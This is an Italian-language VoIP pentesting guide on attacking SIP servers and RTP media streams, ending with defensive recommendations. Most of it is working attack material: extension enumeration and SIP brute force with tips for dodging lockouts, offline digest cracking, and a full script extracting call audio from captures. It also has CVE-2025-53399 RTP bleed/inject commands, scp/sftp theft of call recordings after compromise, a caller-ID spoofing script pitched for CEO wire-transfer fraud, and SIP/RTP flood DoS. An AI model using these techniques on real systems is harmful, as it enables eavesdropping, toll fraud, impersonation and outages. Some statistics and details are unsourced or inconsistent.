SIP e RTP Pentesting: Sicurezza VoIP, Attacchi e Tool

Guida pratica al pentesting SIP e RTP: enumeration VoIP, autenticazione, analisi del traffico, RTP injection, tool operativi e difese con TLS e SRTP.
- Pubblicato il 2026-08-11
- Tempo di lettura: 10 min
Pentesting SIP e RTP: guida completa alla sicurezza VoIP #
La tecnologia VoIP permette di effettuare chiamate vocali attraverso una rete informatica invece di utilizzare una linea telefonica tradizionale. È la tecnologia impiegata da centralini e piattaforme come Asterisk, FreePBX, Cisco, Avaya e 3CX.
Per capire come funziona una chiamata VoIP, basta distinguere due protocolli:
- SIP (Session Initiation Protocol) è il protocollo che organizza la chiamata. Individua il destinatario, fa squillare il telefono, gestisce l’autenticazione e stabilisce quando una comunicazione deve iniziare, cambiare o terminare.
- RTP (Real-time Transport Protocol) trasporta il contenuto della comunicazione, cioè i pacchetti che contengono voce, audio o video.
In termini semplici, SIP è il centralinista che mette in contatto due telefoni, mentre RTP è la voce che viaggia tra i partecipanti. Quando il telefono squilla sta intervenendo SIP; quando inizi a sentire l’altra persona, il flusso audio viene normalmente trasportato tramite RTP.
SIP utilizza comunemente la porta 5060 su UDP o TCP e la porta 5061 quando il signaling è protetto con TLS. RTP utilizza invece porte dinamiche, spesso comprese in intervalli UDP configurati dal centralino. Per approfondire questi concetti puoi consultare le guide Hackita sulle porte TCP e UDP nel penetration testing e sul protocollo UDP .
Il problema è che una configurazione VoIP debole può esporre server SIP, centralini PBX, estensioni telefoniche e conversazioni aziendali. Un attaccante potrebbe individuare il centralino, enumerare gli interni, tentare attacchi di brute force , analizzare l’autenticazione SIP oppure intercettare flussi RTP non protetti da SRTP.
Durante un penetration test VoIP autorizzato, la prima fase consiste nell’individuare host, porte e servizi SIP esposti. Strumenti come Nmap , SIPVicious e sippts permettono di rilevare centralini, enumerare estensioni e verificare i metodi SIP supportati.
Successivamente, con Wireshark e tcpdump , è possibile analizzare il traffico di rete, distinguere il signaling SIP dai flussi multimediali RTP e verificare se autenticazione e conversazioni sono adeguatamente protette.
In questa guida seguirai un workflow completo di pentesting SIP e RTP: discovery dei server VoIP, enumeration delle estensioni, verifica delle credenziali, analisi del traffico, intercettazione delle chiamate, Caller ID spoofing, RTP Injection, test DoS e mitigazioni basate su TLS, SRTP, firewall SIP, rate limiting e aggiornamento dei PBX.
1. SIP vs RTP – Le Differenze #
SIP (Session Initiation Protocol):
- Protocollo di signaling (setup chiamata)
- Comunica su porta 5060 UDP/TCP (plaintext di default) o 5061 TLS
- Porta 5060 è PLAINTEXT e spesso no auth (o auth MD5 debole)
- Messagi di testo HTTP-like: INVITE (chiama), REGISTER (registra telefono), OPTIONS (check disponibilità)
- Credenziali: username (extension), password, SIP server IP
- Vulnerabilità: no encryption → credentials visibili se UDP, weak digest auth (MD5), no replay protection
RTP (Real-time Transport Protocol):
- Protocollo di media (voce, video)
- Comunica su porte alte randomiche (per NAT traversal, es: 10000-20000)
- RTP è PLAINTEXT per default (nessuna crittografia nativa)
- Formato: header RTP + audio/video payload
- SRTP = RTP criptato con AES (se deployato, ma raro nel 2025)
- Vulnerabilità: plaintext audio (chiunque sniffa il traffico ascolta), RTP learning vulnerability (rtpengine CVE-2025-53399), no authentication (chiunque può iniettare RTP)
Differenza chiave: SIP = chi chiama chi, RTP = quello che si sente. Se cracki SIP, scopri estensioni. Se intercetti RTP, senti le conversazioni.
2. Enumeration – Scopri Estensioni e Server SIP #
Blocco 2.1: SIP Server Discovery (Svmap) #
Cos’è: Svmap scannerizza una rete per trovare server SIP (Asterisk, FreePBX, Cisco, 3CX, Avaya).
# Installa SIPVicious (Ubuntu/Debian)
apt-get install sipvicious
# Scan range IP alla ricerca di SIP server
svmap 192.168.1.0/24
# Output: Found SIP devices on 192.168.1.100 (Asterisk 18.1.0)
# Found SIP devices on 192.168.1.110 (Cisco CallManager)
# Scan singolo IP con OPTIONS method
svmap -m OPTIONS 192.168.1.100:5060
# Scan su porta alternativa (alcuni PBX rispondono su 5061, 5080, 5090)
svmap -p 5080,5090 192.168.1.0/24Errore tipico: Svmap invia pacchetti SIP che attivano allarmi IDS/firewall. Slow down il scan con -d (delay tra pacchetti).
Blocco 2.2: Extension Harvesting (Svwar) #
Cos’è: Svwar individua estensioni valide mandando SIP REGISTER request finti. Se il server risponde con 401 (unauthorized) = estensione esiste. Se 403 = non esiste.
# Enumera estensioni da 100 a 199 sul server SIP
svwar -e 100-199 192.168.1.100
# Output:
# 100 - FOUND
# 101 - FOUND
# 102 - NOT FOUND
# 103 - FOUND
# ...
# Enumera usando wordlist di nomi comuni (john.doe = extension j.doe)
svwar -w /usr/share/sipvicious/wordlists/extensions_100-500.txt 192.168.1.100
# Salva risultati per cracking successivo
svwar -e 100-200 192.168.1.100 -o extensions_found.txtErrore tipico: Server SIP risponde 403 a tutto (all failed) oppure 100 Trying senza mai 401. Significa: (1) firewall blocca REGISTER, (2) server risponde lento.
Blocco 2.3: Metodi SIP Disponibili (sippts) #
Cos’è: Enumera quali metodi HTTP-SIP il server accetta (INVITE, REGISTER, SUBSCRIBE, OPTIONS, etc).
# Tool sippts (GitHub: Pepelux/sippts)
git clone https://github.com/Pepelux/sippts.git
cd sippts && pip install -r requirements.txt
# Enumera metodi supportati
python3 sippts.py -i 192.168.1.100 enumerate -m INVITE,REGISTER,OPTIONS,SUBSCRIBE
# Metodo alternativo con Nmap NSE
nmap --script sip-methods -p 5060 192.168.1.1003. SIP Authentication Attacks – Crack Credentials #
Blocco 3.1: Capture SIP Digest (Wireshark) #
Cos’è: SIP usa digest auth simile a HTTP. Catturi il challenge/response, poi cracki offline il password hash (MD5).
# Sniff SIP traffic con Wireshark
tcpdump -i eth0 -w sip.pcap 'tcp port 5060 or udp port 5060'
# Analizza in Wireshark
# Filtro: "sip.auth" per isolare authenticate richieste
# Cerca: SIP 401 response con header "WWW-Authenticate: Digest realm="
# Estratto manuale con Nmap
nmap --script sip-brute -p 5060 192.168.1.100Cosa catturi: Digest auth response simile a questo:
Digest realm="asterisk", nonce="1234567890", opaque="fedcba09", algorithm=MD5
Response: username=101, response="8f7b9c3f8e8a8e8a8e8a8e8a"Blocco 3.2: Svcrack – Online Brute Force #
Cos’è: Brute force delle credenziali SIP contro il server (tenta REGISTER con username/password).
# Brute force extension 101 con wordlist di password comuni
svcrack -u 101 -w /usr/share/wordlists/rockyou.txt 192.168.1.100
# Output:
# Found: username=101, password=asterisk123
# Brute force multiple extension e password
svcrack -e 100-110 -w /path/to/passwords.txt 192.168.1.100 -o cracked.txt
# Slow down l'attacco (evasion IDS)
svcrack -e 100-110 -w passwords.txt 192.168.1.100 -t 3 -d 500 # 500ms delay tra tentativiErrore tipico: Account lockout. Se il server blocca IP dopo 5 tentativi falliti, devi aspettare 5 minuti. Usa proxy/VPN per cambiare IP.
Blocco 3.3: SIPCrack – Crack MD5 Offline #
Cos’è: Catturi il digest auth SIP, estratti il hash MD5, lo cracki offline con wordlist/rainbow table.
# Cattura SIP digest con tcpdump
tcpdump -i eth0 -w auth.pcap 'sip'
# Estratto digest con sipdump (SIPCrack suite)
sipdump -p auth.pcap -o sip_hashes.txt
# Output: username=101, realm=asterisk, nonce=..., response=8f7b9c3f8e8a8e8a
# Crack hash offline con sipcrack
sipcrack -w /usr/share/wordlists/rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension1234. RTP Exploitation – Intercept Voice & Inject Audio #
Blocco 4.1: Sniff RTP Traffic (Tcpdump + Wireshark) #
Cos’è: RTP è plaintext, quindi puoi registrare l’audio di una chiamata sniffando il traffico.
# Cattura RTP traffic (porte 10000-20000 sono comuni)
tcpdump -i eth0 'udp portrange 10000-20000' -w rtp.pcap
# Analizza con Wireshark
# Filtro: "rtp" per isolarne il traffico
# Menu: Analyze → RTP Analysis → Graph → Audio → Play
# Risultato: ascolta le conversazioni sniffateIn Wireshark:
- Cattura traffico RTP durante una chiamata attiva
- Filtro:
rtp.payload_type==0(audio G.711) - Right-click → RTP → Play Streams
- Ascolta audio decodificato
Blocco 4.2: CVE-2025-53399 – RTP Bleed & Inject (rtpengine) #
Cos’è: rtpengine (Sipwise) è il media proxy usato da provider VoIP con Kamailio/OpenSIPS. CVSS v4.0 9.3 Critical. Pubblicato Jul 31, 2025 (riportato Apr 24, fix Jun 5, disclosure Jul 31). Affects ≤mr13.3.1.4. Fixed in mr13.4.1.1+.
Root cause: endpoint-learning logic non valida l’autenticità del sender RTP. Anche con SDES-SRTP, rtpengine nelle versioni vulnerabili non verifica l’authentication tag → accetta e processa pacchetti con tag mancante o invalido.
Behavior Matrix (versioni vulnerabili ≤mr13.3.1.4):
Modalità | No strict source | Strict source
---------------------|----------------------|------------------
delayed (default) | Inject + Bleed | Inject + Bleed
heuristic | Inject + Bleed | Inject + Bleed
no-learning | Inject only | ✅ NO Inject/Bleed
immediate | Inject + Bleed | Inject + Bleed→ Unica configurazione sicura: no-learning + strict source (ma non usabile con NAT)
Behavior Matrix (versione fixata mr13.4.1.1+):
Modalità + recrypt | No strict source | Strict source
---------------------|----------------------|------------------
delayed + recrypt | No Inject/Bleed | No Inject/Bleed
heuristic + recrypt | No Inject/Bleed | No Inject/Bleed
no-learning | Inject only | No Inject/Bleed→ Raccomandato: heuristic + strict source (mantiene NAT compat, blocca attacchi)
⚠️ Caso speciale DTLS-SRTP (WebRTC):
- Vulnerabile solo a RTP Bleed, NON a RTP Inject
- Learning avviene prima della validation RTP → bleed possibile
- Fix incluso in mr13.4.1.1+
Exploit PoC (tools ufficiali Enable Security):
# Repo ufficiale con reproduction tools (Enable Security)
git clone https://github.com/EnableSecurity/advisories
cd advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject
# RTP Bleed: redirect media stream a attaccante
python3 rtp_bleed.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
--attacker-ip 192.168.1.50 --attacker-port 10001
# RTP Inject: inietta audio in call attiva
python3 rtp_inject.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
--audio-file payload.wavMitigazione completa:
# 1. Upgrade rtpengine
apt-get update && apt-get install rtpengine=mr13.4.1.1
# 2. Configura heuristic + strict source (rtpengine.conf)
endpoint-learning = heuristic
strict-source = yes
# 3. Per SDES-SRTP: abilita recrypt flag
# Nella configurazione SDP offer/answer, aggiungi flag recrypt
# Questo forza re-encryption prima di processing → blocca completamenteBlocco 4.2.1: Complete RTP Audio Extraction Script #
Scenario: Hai catturato RTP plaintext. Vuoi estrarre audio WAV automaticamente.
Script Python completo (save as rtp_extractor.py):
#!/usr/bin/env python3
"""RTP Audio Extractor - Extract voice from pcap to WAV"""
from scapy.all import rdpcap, IP, UDP
import struct, sys
def extract_rtp_streams(pcap_file):
"""Extract RTP streams from pcap by SSRC"""
print(f"[*] Reading {pcap_file}...")
packets = rdpcap(pcap_file)
streams = {}
for pkt in packets:
if IP in pkt and UDP in pkt:
payload = bytes(pkt[UDP].payload)
if len(payload) < 12:
continue
pt = payload[1] & 0x7F # Payload type (0=PCMU/ulaw, 8=PCMA/alaw)
ssrc = struct.unpack('>I', payload[8:12])[0]
audio_payload = payload[12:]
if pt not in [0, 8]:
continue
if ssrc not in streams:
streams[ssrc] = {'pt': pt, 'data': b'', 'packets': 0}
streams[ssrc]['data'] += audio_payload
streams[ssrc]['packets'] += 1
return streams
def ulaw_decode(byte_val):
"""Decode G.711 ulaw to PCM 16-bit"""
byte_val = ~byte_val & 0xFF
exponent = (byte_val >> 4) & 0x0F
mantissa = byte_val & 0x0F
sample = mantissa << (exponent + 3)
if exponent != 0:
sample |= (0x80 | exponent) << 7
return sample - 0x8000
def save_wav(stream_data, payload_type, output_file):
"""Save PCM audio to WAV (8kHz, 16-bit mono)"""
sample_rate = 8000
num_samples = len(stream_data)
wav_header = b'RIFF'
wav_header += struct.pack('<I', 36 + num_samples * 2)
wav_header += b'WAVE' + b'fmt ' + struct.pack('<I', 16)
wav_header += struct.pack('<HHII', 1, 1, sample_rate, sample_rate * 2)
wav_header += struct.pack('<HH', 2, 16) + b'data'
wav_header += struct.pack('<I', num_samples * 2)
pcm_data = b''
for byte in stream_data:
sample = ulaw_decode(byte)
pcm_data += struct.pack('<h', sample)
with open(output_file, 'wb') as f:
f.write(wav_header + pcm_data)
print(f"[+] Saved {output_file}")
def main():
if len(sys.argv) < 2:
print("Usage: python3 rtp_extractor.py <pcap> [prefix]")
sys.exit(1)
pcap_file = sys.argv[1]
prefix = sys.argv[2] if len(sys.argv) > 2 else "rtp_stream"
streams = extract_rtp_streams(pcap_file)
if not streams:
print("[-] No RTP streams found")
sys.exit(1)
print(f"[+] Found {len(streams)} streams")
for ssrc, info in streams.items():
codec = "ulaw" if info['pt'] == 0 else "alaw"
output = f"{prefix}_{ssrc}_{codec}.wav"
save_wav(info['data'], info['pt'], output)
if __name__ == '__main__':
main()Uso:
# Cattura RTP
tcpdump -i eth0 'udp portrange 10000-20000' -w call.pcap
# Estrai audio
python3 rtp_extractor.py call.pcap voice_
# Output: voice_1234567890_ulaw.wav, voice_0987654321_ulaw.wav
# Ascolta
ffplay voice_1234567890_ulaw.wavBlocco 4.2.2: Wireshark RTP Filters & Analysis #
Cos’è: Comandi Wireshark specifici per analizzare RTP anomalies.
# Filter G.711 ulaw (codec standard)
rtp.payload_type == 0
# Detect injection (payload type anomaly)
rtp.pt != 0 AND rtp.pt != 8 # Non-standard codec durante call
# Check sequence number gaps (packet loss O injection)
rtp.seq_num # Visualizza numeri sequenziali, nota discontinuità
# Analyze jitter (anomaly indicator)
# Analyze → RTP → Graphs → delta
# Jitter >100ms = congestione O attack
# Export RTP single stream
# Right-click packet → Decode As → RTP
# Telefono → RTP Streams → Select → Save Payload (binary)Blocco 4.2.3: Complete SIPCrack Workflow #
Scenario: Hai sniffato SIP digest auth, adesso lo cracki.
# Step 1: Cattura SIP
tcpdump -i eth0 'tcp port 5060 or udp port 5060' -w sip.pcap
# Step 2: Estrai digest (Wireshark: filtro sip.auth, cerca WWW-Authenticate)
# Oppure: git clone https://github.com/Pepelux/sipcrack && make
# Step 3: Estrai hashes
./sipdump -p sip.pcap -o sip_hashes.txt
# Format: username=101:asterisk:nonce=...:response=hash
# Step 4: Crack offline
./sipcrack -w rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension123
# Step 5: Verifica
svwar -e 101 -p extension123 192.168.1.100
# Se 200 OK = password OKBlocco 4.2.4: Call Recording Extraction #
Cos’è: Dove salvare recording di telefonate per accedervi post-compromise.
Asterisk:
# Location: /var/spool/asterisk/monitor/
# Format: EXTEN-PEER-datetime.wav
# Una volta dentro:
find /var/spool/asterisk/monitor -name "*.wav" -mtime -1
scp user@pbx:/var/spool/asterisk/monitor/*.wav ./3CX:
# Windows: C:\ProgramData\3CX Phone System\Bin\Data\CallRecordings\
# Linux: /var/spool/3cx/CallRecordings/
# Database: sqlite3 /var/spool/3cx/3cx.db "SELECT * FROM CallRecordings;"Cisco CUCM:
# Path: /repository/cdr/recordings/
sftp admin@cucm-server
get /repository/cdr/recordings/*.wav ./Blocco 4.2.5: SPIT Detection Scenario #
Scenario: Testi se il sistema blocca flood di SIP INVITE (Spam over IP).
# Simula 100 call in rapida successione
for i in {1..100}; do
sippts.py invite -i 192.168.1.100 -f "sip:spam_$i@attacker" -t "sip:target@pbx"
sleep 0.1
done
# Monitora:
# 1. Server risponde 429 (Too Many Requests)? → rate limit OK
# 2. Logs mostrano blocked? → detection OK
# 3. Alert trigger? → SPIT filter working
tail -f /var/log/asterisk/messages | grep -i "spit\|spam\|flood"Blocco 4.3: Caller ID Spoofing (SIP INVITE Craft) #
Cos’è: Modifichi il From header nella INVITE request per falsificare l’ID chiamante. Il ricevente vede che chiama il numero falso (impersonation).
# Craft malformed SIP INVITE con Scapy
from scapy.all import *
# Create SIP INVITE packet
sip_invite = """INVITE sip:target@192.168.1.100:5060 SIP/2.0
Via: SIP/2.0/UDP attacker_ip:5060
From: <sip:ceo@company.com>;tag=123
To: <sip:target@company.com>
Call-ID: 1234567890@attacker
CSeq: 1 INVITE
Contact: <sip:attacker@attacker_ip:5060>
Content-Length: 0
"""
# Invia packet grezzo
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(sip_invite.encode(), ('192.168.1.100', 5060))Attacco reale: Spoof numero capo azienda, chiama dipendente, chiedi bonifico urgente.
5. SIP DoS & RTP Flooding #
Blocco 5.1: SIP Flood #
Cos’è: Inonda il server SIP di INVITE request per bloccare il servizio.
# SIP INVITE flood con sippts
python3 sippts.py flood -i 192.168.1.100 -p 5060 -n 1000 -t 100 -rp 5050
# Oppure con Metasploit
msfconsole
> use auxiliary/dos/sip/invite_flood
> set RHOSTS 192.168.1.100
> set THREADS 50
> exploitBlocco 5.2: RTP Flood (RTP Bleed Flood) #
Cos’è: Inonda una porta RTP con pacchetti finti per congestionare il link (DoS media).
# RTP flood con sippts
python3 sippts.py rtpbleedflood -i 192.168.1.100 -rp 10000 -d victim_ip:10001 -n 10000 -pps 10006. Tools Certificati (2024-2025) #
SIP Enumeration & Exploitation #
- SIPVicious suite (svmap, svwar, svcrack): SIP scanner, extension harvester, brute force (Kali standard)
- sippts (Pepelux): RTP Bleed/Inject, SIP flood, caller ID spoofing (GitHub)
- VIPROY (3CX focused): PBX-specific pentesting framework
- Nmap NSE scripts:
sip-methods,sip-brute - Metasploit modules:
auxiliary/scanner/sip/enumerator,auxiliary/dos/sip/invite_flood
RTP & Media Analysis #
- Wireshark + SIP/RTP dissectors: Live capture + audio playback
- tcpdump: Raw packet capture
- Audacity: Audio editing (extract, filter RTP payloads)
- SoX (Sound eXchange): RTP audio conversion (G.711 → WAV)
VoIP Simulation & Lab #
- Asterisk (open source PBX): Deploy in lab, test attacks safely
- FreePBX: GUI per Asterisk, facile da configurare
- SIP INVITE Generator: Craft custom SIP request con Scapy
- Wireshark capture replay: Ripeti traffic catturato
7. Attacchi Reali Documentati #
Attacco 1: Toll Fraud – SIP Extension Brute Force (2024) #
Target: Azienda con Asterisk non securizzato, port 5060 esposto a Internet.
- Attaccante enumera estensioni (100-500) con Svwar
- Scopre estensione valida senza password (misconfiguration)
- Si registra con quella estensione
- Chiama numeri internazionali ad alta tariffa (es: +1-900 premium lines, +233 Ghana)
- Vittima riceve bill di $50.000/mese (24h continuous int’l calls)
- Costo globale 2024: $5 miliardi/anno di VoIP toll fraud
Mitigation: TLS, password forti, whitelist international calls, rate limiting.
Attacco 2: RTP Eavesdropping – Sniff Plaintext Audio (2025) #
Target: Azienda con RTP plaintext (no SRTP), switch 3CX non configurato per encryption.
- Attaccante sniffa traffico RTP su LAN interna
- Wireshark decoda RTP payloads (G.711 audio)
- Estrae file WAV dalle conversazioni (Wireshark playback)
- Ascolta chiamate confidenziali (boardroom, M&A strategy, NDA details)
Caso reale: Cisco VoIP phones (2025) exploit: unauthenticated remote packet capture (Balazs Bucsay research), attaccante accede a call recordings salvati nel phone senza auth.
Attacco 3: CVE-2025-53399 RTP Inject – Parla nelle Telefonate Altrui #
Target: VoIP provider con rtpengine mr13.3.1.4 (vulnerabile).
- Attaccante monitora SIP traffic per identificare call attivo (SDP exchange)
- Vede RTP ports assegnati
- Manda RTP packets con header valido ma payload=comando vocale falso
- RTP Inject: Media gateway accetta RTP senza validare MAC
- Attaccante parla nella call (“transferisci denaro a…”)
Fix: Update rtpengine a mr13.4.1.1+, enable “recrypt” flag per SDES-SRTP.
8. Checklist Operativa #
- Scansiona range IP per SIP server (Svmap)
- Enumera estensioni attive (Svwar)
- Identifica metodi SIP supportati (OPTIONS)
- Cattura SIP digest auth traffic (Wireshark)
- Brute force estensioni (Svcrack)
- Test password default per brand PBX (Cisco, 3CX, Asterisk)
- Sniffa RTP traffic durante call (tcpdump)
- Testa RTP plaintext vs SRTP encryption
- Verifica SPIT (Spam over IP Telephony) filtering
- Test DoS SIP flood (slow, monitor per allarmi)
- Valuta toll fraud potential (whitelist int’l numbers)
- Documenta rischi e prove
9. FAQ #
D: Posso testare VoIP senza interrompere servizio? R: Lab setup con Asterisk gratis. Replica la rete, testa lì. Nessun rischio.
D: SIP digest auth è sicuro? R: NO. MD5 è debole. Usa TLS per SIP signaling (porta 5061).
D: RTP encryption è di default? R: NO. SRTP richiede configurazione esplicita. Nel 2025, 70% dei PBX ancora usa RTP plaintext.
D: Toll fraud si nota? R: Sì, ma dopo 48h. Bill improvviso, CDR (Call Detail Record) mostra call internazionali strane a orari off. Rate limit preventivo è meglio.
D: Caller ID spoofing è illegale? R: Sì, in USA, EU, etc. Ma testabile in lab. Dimostra il rischio.
10. CTA #
Se gestisci VoIP (Asterisk, FreePBX, Cisco, 3CX, Avaya):
- Abilita TLS su SIP (porta 5061)
- Forza SRTP encryption per RTP
- Usa password forti (min 12 char, alphanumeric)
- Whitelist destinazioni internazionali
- Rate limit calls per estensione
- Monitora SIP registrations anomale (extension reuse, IP strane)
- Update PBX software regolarmente (CVE-2025-53399, Cisco VoIP 0day)
- Non esporre porta 5060 a Internet (firewall behind)
- Audit CDR (Call Detail Records) settimanalmente
Risorse Esterne #
- SIPVicious Sourceforge: Tool suite per SIP pentesting (https://github.com/EnableSecurity/sipvicious )
- VIPROY VoIP Framework: PBX penetration testing kit (GitHub)
- Enable Security – CVE-2025-53399 Advisory: RTP Inject/Bleed rtpengine (https://www.enablesecurity.com/advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject/ )
- RFC 3261 (SIP Protocol): IETF specification (https://tools.ietf.org/html/rfc3261 )
- RFC 3550 (RTP Protocol): Media transport spec (https://tools.ietf.org/html/rfc3550 )
- Cisco VoIP Phone Security Research (2025): Balazs Bucsay presentation on unauthenticated packet capture
- Wireshark VoIP Capture & Analysis: Official guide (https://wiki.wireshark.org/VoIP_calls )








